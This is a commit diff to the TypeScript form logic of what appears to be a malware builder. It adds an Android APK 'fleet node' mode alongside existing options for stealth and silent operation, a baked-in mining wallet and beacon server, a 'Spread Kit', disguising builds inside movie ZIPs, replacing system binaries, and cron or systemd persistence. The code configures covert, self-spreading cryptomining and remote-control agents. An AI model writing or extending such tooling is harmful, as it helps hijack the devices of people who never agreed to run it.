Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

server/web/src/help/forgeRules.ts

@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
       }
       break;
 
+    case 'apk_mode':
+      if (value === true) {
+        Object.assign(next, {
+          apk_mode: true,
+          fusion_enabled: false,
+          spread_kit: false,
+          target_os: 'android',
+          target_arch: 'arm64',
+          mining_disabled: true,
+          gpu_enabled: false,
+          threads: 1,
+          thread_mode: 'fixed',
+          display_mode: 'background',
+          silent_mode: true,
+          stealth_mode: true,
+          file_logging: false,
+        });
+        if (!next.apk_agent_name?.trim()) {
+          next.apk_agent_name = next.worker_name;
+        }
+      } else {
+        next.apk_mode = false;
+        next.mining_disabled = false;
+        if (next.target_os === 'android') {
+          next.target_os = 'windows';
+          next.target_arch = 'all';
+        }
+      }
+      break;
+
     case 'fusion_enabled':
       if (value === true) {
+        next.apk_mode = false;
         next.display_mode = 'background';
         next.silent_mode = true;
         next.spread_kit = false;
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
   const isUniversal = targetOs === 'universal';
   const isSpreadKit = !!form.spread_kit;
   const isFusion = !!form.fusion_enabled;
+  const isApk = !!form.apk_mode;
 
   return {
     worker_name: { disabled: false, badge: 'baked' },
     server_url: { disabled: false, badge: 'baked' },
     https_beacon_fallback: { disabled: false, badge: 'baked' },
     https_beacon_after_min: { disabled: false, badge: 'baked' },
-    wallet: { disabled: false, badge: 'baked' },
+    wallet: {
+      disabled: isApk,
+      badge: 'baked',
+      lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
+    },
+    apk_mode: { disabled: isSpreadKit, badge: 'baked' },
+    apk_agent_name: {
+      disabled: !isApk,
+      badge: 'baked',
+      lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
+    },
     output_dir: {
       disabled: false,
       badge: 'server-only',
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
       hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
     },
     fusion_enabled: {
-      disabled: isSpreadKit,
+      disabled: isSpreadKit || isApk,
       badge: 'baked',
-      lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
+      lockedReason: isApk
+        ? 'Fusion is not available for APK fleet nodes.'
+        : isSpreadKit
+          ? 'Turn off Spread Kit to use Fusion.'
+          : undefined,
     },
     fusion_prep: {
       disabled: !form.fusion_enabled,
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
       hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
     },
     target_os: {
-      disabled: isSpreadKit || isFusion,
+      disabled: isSpreadKit || isFusion || isApk,
       badge: 'baked',
-      lockedReason: isSpreadKit
-        ? 'Spread Kit always targets all platforms (Universal).'
-        : isFusion
-          ? 'Movie fusion always builds a universal ZIP.'
-          : undefined,
+      lockedReason: isApk
+        ? 'APK mode locks target to Android arm64.'
+        : isSpreadKit
+          ? 'Spread Kit always targets all platforms (Universal).'
+          : isFusion
+            ? 'Movie fusion always builds a universal ZIP.'
+            : undefined,
     },
     target_arch: {
-      disabled: !isUnixSingle,
+      disabled: !isUnixSingle || isApk,
       badge: 'baked',
-      lockedReason: !isUnixSingle
-        ? 'Pick Linux or macOS as Target OS to choose architecture.'
-        : undefined,
+      lockedReason: isApk
+        ? 'APK mode locks architecture to arm64.'
+        : !isUnixSingle
+          ? 'Pick Linux or macOS as Target OS to choose architecture.'
+          : undefined,
     },
     spread_kit: {
       disabled: isFusion,